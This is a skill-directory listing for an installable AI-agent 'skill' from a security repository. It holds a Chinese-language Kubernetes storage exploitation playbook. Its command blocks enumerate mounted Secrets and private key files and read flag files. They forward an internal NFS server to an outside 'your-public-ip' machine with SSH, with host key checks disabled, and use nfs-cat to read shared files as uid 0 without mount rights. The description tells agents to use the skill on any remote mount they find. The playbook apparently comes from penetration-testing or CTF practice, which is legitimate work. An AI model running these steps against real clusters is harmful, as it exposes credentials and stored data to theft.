# K8S Storage Exploit

Kubernetes 存储与文件共享利用。当 Pod 挂载了 NFS/EFS/PV/ConfigMap/Secret、发现 /efs 或 /mnt 目录、或 mount...

- Repository: https://github.com/wgpsec/AboutSecurity (1833 stars)
- Category: Design
- License: see repository
- Last updated: 2026-10-24
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add wgpsec/AboutSecurity --skill k8s-storage-exploit -g -a claude-code -y`
Codex: `npx skills add wgpsec/AboutSecurity --skill k8s-storage-exploit -g -a codex -y`
Cursor: `npx skills add wgpsec/AboutSecurity --skill k8s-storage-exploit -g -a cursor -y`
Gemini CLI: `npx skills add wgpsec/AboutSecurity --skill k8s-storage-exploit -g -a gemini-cli -y`

## Description

Kubernetes 存储与文件共享利用。当 Pod 挂载了 NFS/EFS/PV/ConfigMap/Secret、发现 /efs 或 /mnt 目录、或 mount 输出中有远程文件系统时使用。覆盖 NFS 挂载利用、AWS EFS uid/gid 伪造、nfs-cat 免挂载读取、PV 敏感数据提取。只要在容器中发现任何远程挂载或共享存储，就应使用此技能

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# Kubernetes 存储与文件共享利用

K8s Pod 可能挂载了 NFS、AWS EFS、PV 等存储后端。这些存储往往只依赖网络层访问控制（security group / CIDR），不做应用层认证, , 也就是说只要 Pod 在同一网络内就能读写，这是云时代仍在用的"上古"访问控制模型。

## Phase 1: 发现挂载的存储

```bash
# 查看所有挂载点
mount
df -h
cat /etc/mtab
cat /proc/mounts

# 特别关注远程挂载
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure'

# 查看 K8s 挂载的 Secret/ConfigMap
ls -la /var/run/secrets/
ls -la /etc/config/ 2>/dev/null
mount | grep -F 'tmpfs' | grep -F 'ro'    # Secret/ConfigMap 通常是只读 tmpfs
find /var/run/secrets -type f 2>/dev/null
find / -name "*.key" -o -name "*.pem" -o -name "*.crt" 2>/dev/null | head -20

# True Volume / PV 通常是 ext4、nfs、efs、cifs、ceph 等实际文件系统
grep -wF "ext4" /etc/mtab 2>/dev/null
mount | grep -E 'nfs|efs|cifs|gluster|ceph|azure|hostPath'
```

---

## Phase 2: NFS/EFS 利用

### 本地 NFS 挂载已存在时

```bash
# 直接读取
ls -la /efs/ 2>/dev/null
ls -la /mnt/ 2>/dev/null
find /efs -type f 2>/dev/null
cat /efs/flag.txt 2>/dev/null
```

### 发现远程 NFS 但无法直接访问

**方法 A: SSH 端口转发**（需要外网可达的机器）

```bash
# 在 Pod 中（ReadOnly FS 需要 -o StrictHostKeyChecking=no）
ssh -R 2049:<nfs-server>:2049 -Nf user@your-public-ip \
    -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null

# 在你的机器上
mount -t nfs localhost:/ /mnt
ls /mnt/
```

**方法 B: nfs-cat / nfs-ls**（无需 mount 权限，最灵巧）

nfs-cat 的核心优势：通过 URL 参数直接指定 uid/gid，无需 root 权限即可以任意用户身份读取文件。

```bash
# 以 root (uid=0) 身份读取文件
nfs-cat "nfs://<nfs-server>:2049//flag.txt?version=4&uid=0&gid=0"

# 列出目录
nfs-ls "nfs://<nfs-server>:2049//?version=4"
```

> 工具来源: https://github.com/sahlberg/libnfs

**方法 C: showmount 探测**

```bash
showmount -e <nfs-server>
# 显示导出的共享目录
```

---

## Phase 3: AWS EFS 特殊利用

AWS EFS 使用 NFS v4.1 协议。关键点：默认只靠安全组做访问控制，不启用 IAM 认证。这意味着同 VPC 内的任何 Pod 都能直接读写 EFS。

```bash
# 识别 EFS（mount 输出中会有 efs 关键字）
mount | grep efs
# 输出: fs-xxxxx.efs.us-west-1.amazonaws.com:/ on /efs type nfs4

# DNS 名称暴露 region 和 filesystem ID
# fs-xxxxx.efs.<region>.amazonaws.com
```

---

## Phase 4: PV/PVC 敏感数据

```bash
# 检查 hostPath 挂载（可能挂载了宿主机目录）
mount | grep -E '/host|/root|/etc'

The rest: https://github.com/wgpsec/AboutSecurity/blob/HEAD/skills/cloud/k8s-storage-exploit/SKILL.md
